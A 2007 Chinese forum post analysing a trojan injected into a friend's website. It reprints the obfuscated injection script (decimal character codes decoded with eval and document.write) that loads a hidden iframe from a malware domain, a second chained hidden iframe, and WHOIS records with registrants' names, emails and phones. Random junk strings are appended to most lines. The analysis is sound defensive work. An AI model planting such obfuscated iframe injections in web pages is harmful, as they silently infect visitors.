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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, Ii5U) "  
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http://www.areway.cn/?p=175 (ER9.k2  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: r-L& ee   
          L@=$0p41;  
<script>t=’60,105,102,114,97,109,101, #Y3-P  
32,115,114,99,61,104,116,116,112,58,47,47, F=w:!tqA  
102,114,101,101,46,117,45,117,117,117,46,99, )*XWe|H_  
110,47,101,114,114,111,114,46,104,116,109, vqQ)Pu?T  
32,119,105,100,116,104,61,49,48,48,32,104, :[(%4se  
101,105,103,104,116,61,48,62,60,47,105,102, ! l0"nPM=  
114,97,109,101,62′; .{ljhE:  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ,ayJgAD  
                                                                                                  2gkN\w6zQ  
<script>t=’60,105,102,114,97,109,101,32,115, r-!Qw1  
114,99,61,104,116,116,112,58,47,47,102,114, ^2 H-_  
101,101,46,117,45,117,117,117,46,99,110,47, !9YCuHj!p  
101,114,114,111,114,46,104,116,109,32,119, $ (xdF  
105,100,116,104,61,49,48,48,32,104,101,105, 1n&%L8]  
103,104,116,61,48,62,60,47,105,102,114,97, =Hn--DEMg  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); /3^XJb$Sa  
document.write(t);</script> iymN|KdpaZ  
                                                                                                  :aaX Y:<  
<html xmlns=” |4 \2,M#  
http://www.w3.org/1999/xhtml 4r ~K`)/S'  
“> |ka/5o  
<head> 1W\wIj.  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> ^VG].6  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> dR< d7  
<title>首页 - 爱生活家庭网 |39,n~"o&  
                                                                                                                                                    -P|claO0  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 W^xO/xu1 /  
转换字符串后的大概内容是(谁点击后果自付): Cd=$XJ-b  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 7}~w9jK"F  
                                                                                                                                  [ 't.x=  
查询玉米u-uuu.cn的详细信息: yhbU;qEG9  
Domain Name: u-uuu.cn N\Lu+ x5  
ROID: 20070901s10001s64972306-cn PX/{!_mM  
Domain Status: ok 7=u Gf$/  
Registrant Organization: 王雷 +^esL9RG:  
Registrant Name: 王雷 {D..(f1*u  
Administrative Email: czlovexs@126.com Ri_2@U-  
Sponsoring Registrar: 北京万网志成科技有限公司 _6,\;"it?8  
Name Server:ns.yovole.com ;n*|AL7(  
Name Server:ns1.yovole.com sF[gjeIb  
Registration Date: 2007-09-01 17:54 X])iQyN  
Expiration Date: 2008-09-01 17:54 Nb !i_@m%s  
最后PING了一下地址 都没有什么…. <bo)p6S&  
                                                                                                Wu|MNB?M  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. X"q[rsB  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> KN657 |f  
<script language=”javascript” src=” 'NCqI  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Gds(.]_  
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这个玉米应该有可能是木马作者的: ,lvG5B\0  
foafau.info的详细信息: :2==7u7v?  
Access to INFO WHOIS information is provided to assist persons in uQx/o ^  
determining the contents of a domain name registration record in the B|"i`{>  
Afilias registry database. The data in this record is provided by i.Y2]1  
Afilias Limited for informational purposes only, and Afilias does not hF@%k ;I  
guarantee its accuracy.  This service is intended only for query-based Il*!iX|23<  
access. You agree that you will use this data only for lawful purposes *U$]U0M  
and that, under no circumstances will you use this data to: (a) allow, 9D M,,h<`  
enable, or otherwise support the transmission by e-mail, telephone, or m> P\}A^N  
facsimile of mass unsolicited, commercial advertising or solicitations bfoTGi  
to entities other than the data recipient’s own existing customers; or uHZ4 @ w:  
(b) enable high volume, automated, electronic processes that send 6.KEe^[-  
queries or data to the systems of Registry Operator, a Registrar, or CR9wp] -Vd  
Afilias except as reasonably necessary to register domain names or % PB{jo  
modify existing registrations. All rights reserved. Afilias reserves P/1YN  
the right to modify these terms at any time. By submitting this query, 1|xe'w{  
you agree to abide by this policy. B'(zhjV  
Domain ID:D22418703-LRMS =JfwHFHd#  
Domain Name:FOAFAU.INFO RnRUJNlaG  
Created On:20-Nov-2007 16:05:42 UTC ak| VnNa]  
Last Updated On:20-Nov-2007 16:05:44 UTC XL aD#J  
Expiration Date:20-Nov-2008 16:05:42 UTC =:w,wI.  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) F_R\  
Status:CLIENT DELETE PROHIBITED &@CUxK  
Status:CLIENT RENEW PROHIBITED j|Vl\Z&o)  
Status:CLIENT TRANSFER PROHIBITED Xy K,  
Status:CLIENT UPDATE PROHIBITED kw2yb   
Status:TRANSFER PROHIBITED $"|r7n5[  
Registrant ID:GODA-040110615 5m0lk|`  
Registrant Name:liu hong aAGV\o{^  
Registrant Organization: 3fQ`}OcNr  
Registrant Street1:beijing }cCIYt\RK  
Registrant Street2: YU[#4f~  
Registrant Street3: 0wVM% Dng  
Registrant City:beijing tl!dRV92  
Registrant State/Province: AQQa6Ce*  
Registrant Postal Code:100000 PcT]  
Registrant Country:CN DMch88W  
Registrant Phone:+86.860108888777 a*X{hU 9P  
Registrant Phone Ext.: g3[-[G^5  
Registrant FAX: O9By5j 4  
Registrant FAX Ext.: VPT?z  
Registrant Email:bbbshiji@163.com SZrc-f_  
Admin ID:GODA-240110615 ^ }5KM87  
Admin Name:liu hong fu~iF  
Admin Organization: :fL7"\ pf~  
Admin Street1:beijing K.wRz/M& g  
Admin Street2: 1irSI,j%z  
Admin Street3: >5kz#|@P  
Admin City:beijing F5cN F 5  
Admin State/Province: 5,^DT15a4P  
Admin Postal Code:100000 G,?a8(  
Admin Country:CN A_U=`M=-  
Admin Phone:+86.860108888777 XtZd% #2},  
Admin Phone Ext.:  {p/Yz#  
Admin FAX: +kYp!00  
Admin FAX Ext.: D- C]0Jf3  
Admin Email:bbbshiji@163.com B1~`*~@  
Billing ID:GODA-340110615 )b]wpEFl  
Billing Name:liu hong =,N"% }  
Billing Organization: g.`Ntsi$wI  
Billing Street1:beijing sBI/`dGZV  
Billing Street2: O-UA2?N@j  
Billing Street3: y_n4Y[4g  
Billing City:beijing vI(LIfe;  
Billing State/Province: dz/@]a  
Billing Postal Code:100000 E+XS7':I  
Billing Country:CN LB]3-FsU+  
Billing Phone:+86.860108888777 N.z2eo  
Billing Phone Ext.: l"dXL"h  
Billing FAX: mCg^Y)Q  
Billing FAX Ext.: ,@;|+C  
Billing Email:bbbshiji@163.com aLm~.@Q  
Tech ID:GODA-140110615 OwNM`xSa|\  
Tech Name:liu hong ySiZ@i4  
Tech Organization: Y(1?uVYW\d  
Tech Street1:beijing Z>y6[o  
Tech Street2: C)yw b6  
Tech Street3: qfCZ [D  
Tech City:beijing __tA(uA  
Tech State/Province: M"s:*c_6  
Tech Postal Code:100000 !^MwE]  
Tech Country:CN =e#h;x2  
Tech Phone:+86.860108888777 n]4Elrxx  
Tech Phone Ext.: /P9fcNP{y  
Tech FAX: B;8Zlm9  
Tech FAX Ext.: 9QHj$)?k,  
Tech Email:bbbshiji@163.com yZp/P%y  
Name Server:NS27.DOMAINCONTROL.COM p>?(u GV  
Name Server:NS28.DOMAINCONTROL.COM JK!`uG+v  
Name Server: J?Y,3cc.  
Name Server: <aaT,J8%[  
Name Server: 9fbbJ"I+  
Name Server: ALF21e*n  
Name Server: ' #=n>  
Name Server: U%@C<o "  
Name Server: S`  U,  
Name Server: 3D@3jyo:  
Name Server: c9jS !uDMK  
Name Server: p JF 9Z  
Name Server: eA]8M^  
                                                                                                          xqg4b{  
接着下载每个文件里面的代码: xWY\,'+Q  
一步一步看.. kGnT4R*E  
1CZO+MB&"$  
L|#0CRiN  
\/ri|fm6l#  
DS%]7,g]  
O[U`(A:  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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